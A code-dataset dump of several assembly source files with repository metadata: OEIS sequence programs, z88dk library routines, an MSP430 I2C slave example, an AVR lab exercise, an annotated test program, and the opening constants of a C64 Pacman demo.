] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/134/A134519.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A134519: Numbers remaining when the natural numbers (A000027) are arranged into a triangle and only the beginning and end terms of each row are retained.
; 1,2,3,4,6,7,10,11,15,16,21,22,28,29,36,37,45,46,55,56,66,67,78,79,91,92,105,106,120,121,136,137,153,154,171,172,190,191,210,211,231,232,253,254,276,277,300,301,325,326,351,352,378,379,406,407,435,436,465,466,496,497,528,529,561,562,595,596,630,631,666,667,703,704,741,742,780,781,820,821,861,862,903,904,946,947,990,991,1035,1036,1081,1082,1128,1129,1176,1177,1225,1226,1275,1276
mov $1,$0
div $1,2
bin $1,2
add $0,$1
add $0,1
| 65.111111 | 381 | 0.733788 |
7b7e79922ec6869946e85296ee28b3b41f507d1d | 106 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/l_f32_zero.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/l_f32_zero.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/l_f32_zero.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_am9511
PUBLIC l_f32_zero
.l_f32_zero
ld hl,0
ld d,h
ld e,l
ret
| 10.6 | 26 | 0.59434 |
a430d4c99e0efbdb076680742cac29433ba7218d | 1,543 | asm | Assembly | programs/oeis/199/A199111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/199/A199111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/199/A199111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A199111: a(n) = 8*3^n+1.
; 9,25,73,217,649,1945,5833,17497,52489,157465,472393,1417177,4251529,12754585,38263753,114791257,344373769,1033121305,3099363913,9298091737,27894275209,83682825625,251048476873,753145430617,2259436291849,6778308875545,20334926626633,61004779879897,183014339639689,549043018919065,1647129056757193,4941387170271577,14824161510814729,44472484532444185,133417453597332553,400252360791997657,1200757082375992969,3602271247127978905,10806813741383936713,32420441224151810137,97261323672455430409,291783971017366291225,875351913052098873673,2626055739156296621017,7878167217468889863049,23634501652406669589145,70903504957220008767433,212710514871660026302297,638131544614980078906889,1914394633844940236720665,5743183901534820710161993,17229551704604462130485977,51688655113813386391457929,155065965341440159174373785,465197896024320477523121353,1395593688072961432569364057,4186781064218884297708092169,12560343192656652893124276505,37681029577969958679372829513,113043088733909876038118488537,339129266201729628114355465609,1017387798605188884343066396825,3052163395815566653029199190473,9156490187446699959087597571417,27469470562340099877262792714249,82408411687020299631788378142745,247225235061060898895365134428233,741675705183182696686095403284697,2225027115549548090058286209854089,6675081346648644270174858629562265,20025244039945932810524575888686793,60075732119837798431573727666060377,180227196359513395294721182998181129,540681589078540185884163548994543385
mov $1,3
pow $1,$0
mul $1,8
add $1,1
mov $0,$1
| 171.444444 | 1,467 | 0.926766 |
94954a84a7c8662285f19cb4ad98db8da39d41fe | 6,341 | asm | Assembly | MSP430F541xA_MSP430F543xA_Code_Examples/Assembly_CCS/msp430x54xA_uscib0_i2c_07.asm | sususweet/MSP430F541x-MSP430F543x-Code-Examples | 183b45c1aea66c1e71f717c697159acc4261d9cd | [
"Apache-2.0"
] | null | null | null | MSP430F541xA_MSP430F543xA_Code_Examples/Assembly_CCS/msp430x54xA_uscib0_i2c_07.asm | sususweet/MSP430F541x-MSP430F543x-Code-Examples | 183b45c1aea66c1e71f717c697159acc4261d9cd | [
"Apache-2.0"
] | null | null | null | MSP430F541xA_MSP430F543xA_Code_Examples/Assembly_CCS/msp430x54xA_uscib0_i2c_07.asm | sususweet/MSP430F541x-MSP430F543x-Code-Examples | 183b45c1aea66c1e71f717c697159acc4261d9cd | [
"Apache-2.0"
] | null | null | null | ; --COPYRIGHT--,BSD_EX
; Copyright (c) 2012, Texas Instruments Incorporated
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; * Neither the name of Texas Instruments Incorporated nor the names of
; its contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; ******************************************************************************
;
; MSP430 CODE EXAMPLE DISCLAIMER
;
; MSP430 code examples are self-contained low-level programs that typically
; demonstrate a single peripheral function or device feature in a highly
; concise manner. For this the code may rely on the device's power-on default
; register values and settings such as the clock configuration and care must
; be taken when combining code from several examples to avoid potential side
; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware
; for an API functional library-approach to peripheral configuration.
;
; --/COPYRIGHT--
;*******************************************************************************
; MSP430F54xA Demo - USCI_B0 I2C Slave RX single bytes from MSP430 Master
;
; Description: This demo connects two MSP430's via the I2C bus. The master
; transmits to the slave. This is the SLAVE code. The interrupt driven
; data receiption is demonstrated using the USCI_B0 RX interrupt.
; ACLK = n/a, MCLK = SMCLK = default DCO = ~1.045MHz
;
; ***to be used with msp430x54xA_uscib0_i2c_06.asm***
;
; /|\ /|\
; MSP430F5438A 10k 10k MSP430F5438
; slave | | master
; ----------------- | | -----------------
; -|XIN P3.1/UCB0SDA|<-|----+->|P3.1/UCB0SDA XIN|-
; | | | | |
; -|XOUT | | | XOUT|-
; | P3.2/UCB0SCL|<-+------>|P3.2/UCB0SCL |
; | | | |
;
; D. Dang
; Texas Instruments Inc.
; December 2009
; Built with CCS Version: 4.0.2
;******************************************************************************
.cdecls C,LIST,"msp430.h"
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
RXData .equ R5
;-------------------------------------------------------------------------------
.global _main
.text ; Assemble to Flash memory
;-------------------------------------------------------------------------------
_main
RESET mov.w #0x5C00,SP ; Initialize stackpointer
mov.w #WDTPW + WDTHOLD,&WDTCTL; Stop WDT
bis.b #0x06,&P3SEL ; Assign I2C pins to USCI_B0
bis.b #UCSWRST,&UCB0CTL1 ; **Put state machine in reset**
mov.b #UCMODE_3 + UCSYNC,UCB0CTL0; I2C Slave, synchronous mode
mov.w #0x48,&UCB0I2COA ; Own Address is 048h
bic.b #UCSWRST,&UCB0CTL1 ; **Initialize USCI state machine**
bis.b #UCRXIE,&UCB0IE ; Enable RX interrupt
Mainloop bis.b #LPM0 + GIE,SR ; Enter LPM0, enable interrupts
nop ; Set breakpoint >>here<< and read
jmp Mainloop ; RXData
;
;-------------------------------------------------------------------------------
USCI_B0_ISR; USCI_B0 Interrupt Handler ISR
;-------------------------------------------------------------------------------
add.w &UCB0IV,PC ; Add offset to PC
reti ; Vector 0: No interrupt
reti ; Vector 2: ALIFG
reti ; Vector 4: NACKIFG
reti ; Vector 6: STTIFG
reti ; Vector 8: STPIFG
jmp RXIFG_ISR ; Vector 10: RXIFG
reti ; Vector 12: TXIFG
;
RXIFG_ISR ; RXIFG Interrupt Handler
mov.b &UCB0RXBUF,RXData ; Get RX data
bic.b #LPM0,0(SP) ; Exit LPM0
reti ;
;
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".int56" ; USCI_BO Interrupt Vector
.short USCI_B0_ISR
.sect ".reset" ; POR, ext. Reset
.short RESET
.end
| 51.97541 | 80 | 0.480208 |
21fd90214098f2d6f8262b83cb707e7e923274ae | 1,521 | asm | Assembly | Lab_4-(AVR)/Code/Ex2-AVR/Ex2-AVR/main.asm | nickbel7/ntua-microprocessors-systems | f39c7a8b9a68ff47ca6c6564c283abf1af8083e7 | [
"MIT"
] | null | null | null | Lab_4-(AVR)/Code/Ex2-AVR/Ex2-AVR/main.asm | nickbel7/ntua-microprocessors-systems | f39c7a8b9a68ff47ca6c6564c283abf1af8083e7 | [
"MIT"
] | null | null | null | Lab_4-(AVR)/Code/Ex2-AVR/Ex2-AVR/main.asm | nickbel7/ntua-microprocessors-systems | f39c7a8b9a68ff47ca6c6564c283abf1af8083e7 | [
"MIT"
] | null | null | null | .include "m16def.inc"
.DEF A = r16 ;input A - PORTA LSB(0)
.DEF B = r17 ;input B - PORTA LSB(1)
.DEF C = r18 ;input C - PORTA LSB(2)
.DEF D = r19 ;input D - PORTA LSB(3)
.DEF I = r20 ;register to store input
.DEF E = r21 ;register for temporary calculations
.DEF F = r22 ;register for temporary calculations
;========== INITIALIZE STACK POINTER , I/O ==========
reset:
ldi r24 , low(RAMEND) ;initialize stack pointer (LOW)
out SPL , r24
ldi r24 , high(RAMEND) ;initialize stack pointer (HIGH)
out SPH , r24
ser r26
out DDRB, r26 ;initialize PORTB
clr r26
out DDRA, r26 ;initialize PORTA
;========== DATA INPUT ==========
main:
clr E ; CLEAR E
clr F ; CLEAR F
in I, PINA ; I <- INPUT
mov A, I ; LSB(0) = A
lsr I ; rotate right INPUT
mov B, I ; LSB(1) = B
lsr I ; rotate right INPUT
mov C, I ; LSB(2) = C
lsr I ; rotate right INPUT
mov D, I ; LSB(3) = D
;========== ROUTINE FOR F0 =============
mov F, C ; F = C
com F ; F = C'
and F, A ; F = AC'
and F, B ; F = ABC'
mov E, C ; E = C
and E, D ; E = CD
or F, E ; F = (ABC' + CD)
com F ; F = (ABC' + CD)' -> F0
;========== ROUTINE FOR F1 ==============
or A, B ; A = A + B
or C, D ; C = C + D
and A, C ; A = (A + B)(C + D) -> F1
lsl A ; rotate left A
andi F, 1 ; F = F0 (0000 0001 MASK)
andi A, 2 ; A = F1 (0000 0010 MASK)
or F, A ; COMBINE F0, F1
out PORTB, F ; OUTPUT F0-F1 IN PORTB
rjmp reset | 27.160714 | 59 | 0.506246 |
4aaf8df976130eb8c16d5ff7a96beadb36c96628 | 601 | asm | Assembly | libsrc/_DEVELOPMENT/fcntl/z80/__fcntl_first_available_fd.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/fcntl/z80/__fcntl_first_available_fd.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/fcntl/z80/__fcntl_first_available_fd.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
SECTION code_fcntl
PUBLIC __fcntl_first_available_fd
EXTERN __fcntl_fdtbl, __fcntl_fdtbl_size
__fcntl_first_available_fd:
; locate first available fd slot
;
; exit : success
;
; b = fdtbl_size - fd
; hl = & fdtbl[fd] + 1b
; z flag set
;
; fail
;
; nz flag set
;
; uses : af, b, hl
ld b,__fcntl_fdtbl_size
ld hl,__fcntl_fdtbl
loop:
ld a,(hl)
inc hl
or (hl)
ret z ; if empty slot found
inc hl
djnz loop
ret ; slot not found
| 15.410256 | 52 | 0.510815 |
8a54524652ecab8c1d250ba80c9c7cf7e6e31e81 | 591 | asm | Assembly | oeis/300/A300073.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/300/A300073.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/300/A300073.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A300073: Decimal expansion of the member z of a triple (x, y, z) satisfying a certain historical system of three equations with negative y.
; Submitted by Jon Maiga
; 1,2,0,2,0,9,2,6,8,3,2,5,3,6,5,9,0,6,7,1,3,7,0,7,2,7,1,0,1,0,4,2,9,8,5,2,3,6,2,1,7,1,5,6,1,8,8,2,1,7,4,3,0,4,9,9,0,0,1,7,5,2,9,6,4,0,3,2,2,1,2,5,5,2,2,0,6,0,6,6,8,1,7,0,9,5,6,0,0,4,6,6,7,3,9,4,9,6,3,6
mov $1,1
mov $3,$0
mul $3,3
lpb $3
add $1,$6
add $1,$3
add $2,$1
sub $3,1
add $5,$2
add $6,$2
add $6,$5
lpe
add $6,$2
mov $2,$6
mov $4,10
pow $4,$0
div $2,$4
cmp $5,0
add $2,$5
div $1,$2
mov $0,$1
mod $0,10
| 21.888889 | 201 | 0.571912 |
8dcef59f42f44b92fa87e28a9515ab08238703a3 | 641 | asm | Assembly | oeis/341/A341885.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/341/A341885.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/341/A341885.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A341885: a(n) is the sum of A000217(p) over the prime factors p of n, counted with multiplicity.
; Submitted by Christian Krause
; 0,3,6,6,15,9,28,9,12,18,66,12,91,31,21,12,153,15,190,21,34,69,276,15,30,94,18,34,435,24,496,15,72,156,43,18,703,193,97,24,861,37,946,72,27,279,1128,18,56,33,159,97,1431,21,81,37,196,438,1770,27,1891,499,40,18,106,75,2278,159,282,46,2556,21,2701,706,36,196,94,100,3160,27,24,864,3486,40,168,949,441,75,4005,30,119,282,502,1131,205,21,4753,59,78,36
lpb $0
mov $2,$0
seq $2,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
div $0,$2
add $1,$2
pow $2,2
add $1,$2
lpe
mov $0,$1
div $0,2
| 42.733333 | 348 | 0.670827 |
674352d07c02bd11ca9f4d5076650021249973e4 | 1,648 | asm | Assembly | programs/oeis/033/A033585.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/033/A033585.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/033/A033585.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A033585: a(n) = 2*n*(4*n+1).
; 0,10,36,78,136,210,300,406,528,666,820,990,1176,1378,1596,1830,2080,2346,2628,2926,3240,3570,3916,4278,4656,5050,5460,5886,6328,6786,7260,7750,8256,8778,9316,9870,10440,11026,11628,12246,12880,13530,14196,14878,15576,16290,17020,17766,18528,19306,20100,20910,21736,22578,23436,24310,25200,26106,27028,27966,28920,29890,30876,31878,32896,33930,34980,36046,37128,38226,39340,40470,41616,42778,43956,45150,46360,47586,48828,50086,51360,52650,53956,55278,56616,57970,59340,60726,62128,63546,64980,66430,67896,69378,70876,72390,73920,75466,77028,78606,80200,81810,83436,85078,86736,88410,90100,91806,93528,95266,97020,98790,100576,102378,104196,106030,107880,109746,111628,113526,115440,117370,119316,121278,123256,125250,127260,129286,131328,133386,135460,137550,139656,141778,143916,146070,148240,150426,152628,154846,157080,159330,161596,163878,166176,168490,170820,173166,175528,177906,180300,182710,185136,187578,190036,192510,195000,197506,200028,202566,205120,207690,210276,212878,215496,218130,220780,223446,226128,228826,231540,234270,237016,239778,242556,245350,248160,250986,253828,256686,259560,262450,265356,268278,271216,274170,277140,280126,283128,286146,289180,292230,295296,298378,301476,304590,307720,310866,314028,317206,320400,323610,326836,330078,333336,336610,339900,343206,346528,349866,353220,356590,359976,363378,366796,370230,373680,377146,380628,384126,387640,391170,394716,398278,401856,405450,409060,412686,416328,419986,423660,427350,431056,434778,438516,442270,446040,449826,453628,457446,461280,465130,468996,472878,476776,480690,484620,488566,492528,496506
mul $0,-4
bin $0,2
mov $1,$0
| 235.428571 | 1,586 | 0.82767 |
68337ad6b1fd8a1735cf32ab3b45b835116589df | 513 | asm | Assembly | oeis/153/A153861.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/153/A153861.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/153/A153861.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A153861: Triangle read by rows, binomial transform of triangle A153860.
; Submitted by Jamie Morken(s2)
; 1,1,1,2,3,1,3,6,4,1,4,10,10,5,1,5,15,20,15,6,1,6,21,35,35,21,7,1,7,28,56,70,56,28,8,1,8,36,84,126,126,84,36,9,1,9,45,120,210,252,210,120,45,10,1,10,55,165,330,462,462,330,165,55,11,1,11,66,220,495,792,924,792,495,220,66,12,1,12,78,286,715,1287,1716,1716,1287,715,286,78,13,1,13,91,364,1001,2002,3003,3432,3003,2002
lpb $0
add $1,1
mov $2,$0
trn $0,$1
mod $2,$1
add $2,1
lpe
bin $1,$2
mov $0,$1
| 36.642857 | 316 | 0.662768 |
97e9fad011ce0ee54e7f4345855b1f7c09bc4002 | 1,926 | asm | Assembly | programs/oeis/059/A059502.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/059/A059502.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/059/A059502.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A059502: a(n) = (3*n*F(2n-1) + (3-n)*F(2n))/5 where F() = Fibonacci numbers A000045.
; 0,1,3,9,27,80,234,677,1941,5523,15615,43906,122868,342409,950727,2631165,7260579,19982612,54865566,150316973,411015705,1121818311,3056773383,8316416134,22593883752,61301547025,166118284299,449639574897,1215751720491,3283883157848,8861749186770,23892651132341,64364212966173,173252727304059,466004178803727,1252537699142410,3364332378871644,9030851928181657,24226677417552591,64954149869404773,174052226813568435,466146924895091996,1247805276220175238,3338574694487045309,8928419451057327777,23866879799412427695,63772307725546057239,170330110571596560142,454758137793989969616,1213684577030241571873,3237976302151593069075,8635546181769244381401,23022887091335401990203,61360487784430040588384,163486469490354694857402,435455227679640890232005,1159520241299188539500709,3086672272476779573008227,8214555877157094150076191,21855606485813479944138898,58134037659714332912543940,154593217604803503417184681,411003974409687143979881943,1092447072277756843821384909,2903063983129089166740172227,7712896732572529078867906340,20487355040272047558013971054,54408203009831243637156505037,144462629028301023991252614441,383496774570722220208010051223,1017853591131737471609206607655,2701024597672455307677488264086,7166276101981651955620464593208,19010010809712605958717646249009,50419321731380458614936489945627,133702443495661542569770130229825,354495910685078194451004804877899,939754505236762344169458690164072,2490867353127302722859383578760866,6601177581774238175428514579797973,17491555726980594971683615448524845,46341830575894003893374875095772491,122760068596095605001441184540888623,325148432021848918836196659303185434,861089265302425286389892560995447852
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,94864 ; a(0)=1, a(1)=2, a(2)=6, a(3)=18; for n >= 4, a(n) = 6*a(n-1) - 11*a(n-2) + 6*a(n-3) - a(n-4).
add $1,$2
lpe
mov $0,$1
| 160.5 | 1,659 | 0.882658 |
6715393b0aa607308263e7ec7cc0393868fb886a | 1,153 | asm | Assembly | test/asm/leg_2_ann.asm | xdrie/irre-tools | 489bd73c527e3d22ac30102956f7e659e08f0776 | [
"Apache-2.0"
] | 1 | 2020-12-05T11:11:50.000Z | 2020-12-05T11:11:50.000Z | test/asm/leg_2_ann.asm | xdrie/irre-tools | 489bd73c527e3d22ac30102956f7e659e08f0776 | [
"Apache-2.0"
] | 1 | 2021-05-07T22:44:53.000Z | 2021-05-07T22:48:40.000Z | test/asm/leg_2_ann.asm | xdrie/irre-tools | 489bd73c527e3d22ac30102956f7e659e08f0776 | [
"Apache-2.0"
] | null | null | null | %entry: main
; .text
; .file "../test/leg_2.c"
; .globl add
; .type add,@function
add:
sbi sp sp #16 ; set up stack
mov r2 r1 ; r2 = b
mov r3 r0 ; r3 = a
stw r0 sp #12 ; var0 = a
stw r1 sp #8 ; var1 = b
ldw r0 sp #12 ; r0 = var0
add r0 r0 r1 ; r0 = a + b
stw r2 sp #4 ; var2 = b
stw r3 sp #0 ; var3 = a
adi sp sp #16 ; tear down stack
ret ; return r0 ; a + b
.Lfunc_end0:
; .size add, .Lfunc_end0-add
; .globl main
; .type main,@function
main:
sbi sp sp #20 ; set up stack frame
set r0 #0 ; ZERO
stw r0 sp #16 ; var0 = 0
set r0 #3
stw r0 sp #12 ; store a = 3
set r0 #4
stw r0 sp #8 ; store b = 4
ldw r1 sp #12 ; r1 = a ; 3
set r2 ::add ; r2 = &add
stw r0 sp #0 ; var1 = 4
mov r0 r1 ; r0 = r1 ; a
ldw r1 sp #0 ; r1 = var1 ; 4
cal r2 ; r0 = add() ; r1 = a, r2 = b
stw r0 sp #4 ; ? = r0
adi sp sp #20 ; tear down stack
ret ; END
.Lfunc_end1:
hlt ;.size main, .Lfunc_end1-main
; .ident "clang version 3.8.1 (https://github.com/xdrie/clang-leg 43d93776c0f686e0097b8e3c96768b716ccd0a88) (https://github.com/xdrie/llvm-leg e9110cc431fbfe54a0c6e5d8dd476a1382dbbf60)"
; .section ".note.GNU-stack","",@progbits
| 25.065217 | 186 | 0.601041 |
081505bb5c98fd87037f7afe540cc04dd069460d | 140,505 | asm | Assembly | src/test/ref/complex/borderline_pacman/pacman.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/complex/borderline_pacman/pacman.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/complex/borderline_pacman/pacman.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | // Camelot Borderline Entry
// Pacman made with 9 sprites in in the borders
// Commodore 64 PRG executable file
.plugin "se.triad.kickass.CruncherPlugins"
.file [name="pacman.prg", type="prg", segments="Program", modify="B2exe", _jmpAdress=__start]
.segmentdef Program [segments="Code, Data, Init"]
.segmentdef Code [start=$810]
.segmentdef Data [startAfter="Code"]
.segmentdef Init [startAfter="Data"]
/// Value that disables all CIA interrupts when stored to the CIA Interrupt registers
.const CIA_INTERRUPT_CLEAR = $7f
/// The offset of the sprite pointers from the screen start address
.const OFFSET_SPRITE_PTRS = $3f8
/// $D011 Control Register #1 Bit#7: RST8 9th Bit for $D012 Rasterline counter
.const VICII_RST8 = $80
/// $D011 Control Register #1 Bit#6: ECM Turn Extended Color Mode on/off
.const VICII_ECM = $40
/// $D011 Control Register #1 Bit#5: BMM Turn Bitmap Mode on/off
.const VICII_BMM = $20
/// $D011 Control Register #1 Bit#4: DEN Switch VIC-II output on/off
.const VICII_DEN = $10
/// $D011 Control Register #1 Bit#3: RSEL Switch betweem 25 or 24 visible rows
/// RSEL| Display window height | First line | Last line
/// ----+--------------------------+-------------+----------
/// 0 | 24 text lines/192 pixels | 55 ($37) | 246 ($f6)
/// 1 | 25 text lines/200 pixels | 51 ($33) | 250 ($fa)
.const VICII_RSEL = 8
/// VICII IRQ Status/Enable Raster
// @see #IRQ_ENABLE #IRQ_STATUS
/// 0 | RST| Reaching a certain raster line. The line is specified by writing
/// | | to register 0xd012 and bit 7 of $d011 and internally stored by
/// | | the VIC for the raster compare. The test for reaching the
/// | | interrupt raster line is done in cycle 0 of every line (for line
/// | | 0, in cycle 1).
.const IRQ_RASTER = 1
/// Mask for PROCESSOR_PORT_DDR which allows only memory configuration to be written
.const PROCPORT_DDR_MEMORY_MASK = 7
/// RAM in all three areas 0xA000, 0xD000, 0xE000
.const PROCPORT_RAM_ALL = 0
/// RAM in 0xA000, 0xE000 I/O in 0xD000
.const PROCPORT_RAM_IO = 5
/// The colors of the C64
.const BLACK = 0
.const RED = 2
.const BLUE = 6
.const YELLOW = 7
.const EMPTY = 0
.const PILL = 1
.const POWERUP = 2
.const WALL = 4
// Address of the (decrunched) splash screen
.const BOB_ROW_SIZE = $80
.const RENDER_OFFSET_CANVAS_LO = 0
.const RENDER_OFFSET_CANVAS_HI = $50
.const RENDER_OFFSET_YPOS_INC = $a0
// The number of bobs rendered
.const NUM_BOBS = 5
// The size of the BOB restore structure
.const SIZE_BOB_RESTORE = $12
// Size of the crunched music
.const INTRO_MUSIC_CRUNCHED_SIZE = $600
// The raster line for irq_screen_top()
.const IRQ_SCREEN_TOP_LINE = 5
.const STOP = 0
.const UP = 4
.const DOWN = 8
.const LEFT = $10
.const RIGHT = $20
.const CHASE = 0
.const SCATTER = 1
.const FRIGHTENED = 2
.const OFFSET_STRUCT_MOS6526_CIA_PORT_A_DDR = 2
.const OFFSET_STRUCT_MOS6581_SID_VOLUME_FILTER_MODE = $18
.const OFFSET_STRUCT_MOS6581_SID_CH1_PULSE_WIDTH = 2
.const OFFSET_STRUCT_MOS6581_SID_CH1_CONTROL = 4
.const OFFSET_STRUCT_MOS6581_SID_CH1_ATTACK_DECAY = 5
.const OFFSET_STRUCT_MOS6581_SID_CH1_SUSTAIN_RELEASE = 6
.const OFFSET_STRUCT_MOS6526_CIA_INTERRUPT = $d
.const OFFSET_STRUCT_MOS6569_VICII_MEMORY = $18
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_XMSB = $10
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_ENABLE = $15
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_EXPAND_X = $1d
.const OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR = $20
.const OFFSET_STRUCT_MOS6569_VICII_BG_COLOR = $21
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1 = $25
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2 = $26
.const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC = $1c
.const OFFSET_STRUCT_MOS6569_VICII_CONTROL2 = $16
.const OFFSET_STRUCT_MOS6569_VICII_CONTROL1 = $11
.const OFFSET_STRUCT_MOS6569_VICII_RASTER = $12
.const OFFSET_STRUCT_MOS6569_VICII_IRQ_ENABLE = $1a
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE0_Y = 1
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE1_Y = 3
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE2_Y = 5
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE3_Y = 7
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE4_Y = 9
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE5_Y = $b
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE6_Y = $d
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE7_Y = $f
.const OFFSET_STRUCT_MOS6569_VICII_SPRITE0_COLOR = $27
